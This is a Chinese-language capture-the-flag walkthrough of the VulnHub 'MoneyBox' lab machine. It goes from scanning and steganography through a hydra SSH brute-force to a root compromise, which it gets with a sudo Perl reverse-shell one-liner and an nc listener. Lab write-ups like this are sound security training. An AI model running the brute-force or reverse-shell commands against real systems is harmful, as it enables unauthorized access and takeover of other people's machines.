vulnhub-MoneyBox

MoneyBox

渗透测试日常练习

0x01 信息收集

一、主机扫描

kali有很多工具可以扫描存活主机,像fping,我这里偷一下懒,用nmap直接扫。


扫到一个 192.168.56.102 的主机,开启 80,21,22端口。先来访问一下 80 端口吧。

页面上没什么可用信息,继续信息收集。

二、遍历目录

[14:29:07] 301 -  316B  - /blogs  ->  http://192.168.56.102/blogs/

这里扫到了一个 blogs 目录,访问看看。


页面还是没什么信息,右键源代码看看。看到最下面有一句话

<!--the hint is the another secret directory is S3cr3t-T3xt-->

hint说的是有一个 S3cr3t-T3xt 目录。
同样的访问后右键源代码,最下面有一句话

<!..Secret Key 3xtr4ctd4t4 >

这里告诉了我们一个密钥是 3xtr4ctd4t4 ,暂时不知道是干嘛的,先放着。
页面到这就没什么可以收集的了。

三、FTP登录

上面 nmap 扫出来的还有一个 21 端口,于是直接使用 ftp 匿名登录就可以了。


登录成功,目录下有一个 trytofind.jpg ,下载下来看看。

get trytofind.jpg

0x02 图片隐写

根据前面获取到的密钥,这里可以猜测是图片隐写,最常见的是 steghide
尝试一下

steghide --extract -sf trytofind.jpg -p 3xtr4ctd4t4

在当前目录生成了一个 data.txt 文件,内容如下

Hello.....  renu

      I tell you something Important.Your Password is too Week So Change Your Password
Don't Underestimate it.......

从这里可以收集到这台主机的其中一个用户名是 renu。不知道密码,但是他又说密码很弱,于是应该可以尝试爆破一下。


0x03 密码爆破

密码爆破工具最常用的是 hydra

hydra -l renu -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.102

rockyou.txt 是kali自带的字典,需要解压一下。

[22][ssh] host: 192.168.56.102   login: renu   password: 987654321

这里也是很快就把密码爆破出来了。


0x04 RENU登录

账户密码都知道了,登录下试试。


成功登录!这里也是拿到了第一个 flag


0x05 LILY登录

执行 cat /etc/passwd 看看还有其他账户没

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
lily:x:1000:1000:lily,,,:/home/lily:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ftp:x:104:111:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
renu:x:1001:1001::/home/renu:/bin/bash
messagebus:x:105:112::/nonexistent:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin

可以看到还有一个 lily 用户,但是不知道密码。这里也是浪费了很多时间在找密码,最后看到了一个文件存放着历史命令

ssh-keygen -t rsa
clear
cd .ssh
ls
ssh-copy-id [email protected]
clear
cd
cd -
ls -l
chmod 400 id_rsa
ls -l
ssh -i id_rsa [email protected]
clear
ssh -i id_rsa [email protected]
cd
clear
cd .ssh/
ls
ssh -i id_rsa [email protected]
su lily
clear
cd
sudo apt install openssh
sudo apt update
sudo apt install openssh-server
sudo service ssh start
sudo service ssh status

这里看着像远程连接 192.168.43.80 这台主机上的 lily,但是现在没有 192.168.43.80 这台主机啊,于是猜测如果 192.168.43.80 是原本这台主机的 ip 的话,那么不就可以直接用 ssh [email protected] 本地连接。尝试一下


ok,成功登录!在 /home/lily 目录下找到了第二个 flag。


0x06 提升权限

sudo -l 查看账户情况


这里的 perl 命令是可以以 root 账户来执行,而且不需要密码。perl 能执行什么命令啊?之前学过 perl 的反弹 shell,于是尝试反弹 shell。

sudo perl -e 'use Socket;$i="[ip]";$p=[port];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

再开启一个终端执行监听

nc -lvvp 2333

注意:前面要加 sudo 来执行。
成功登录 root 账户。


flag 在 /root/ 下,是一个隐藏文件: .root.txt


0x07 总结

flag 如下:

us3r1{F14g:0ku74tbd3777y4}
us3r{F14g:tr5827r5wu6nklao}
r00t{H4ckth3p14n3t}

这台主机不难,最重要的还是细心。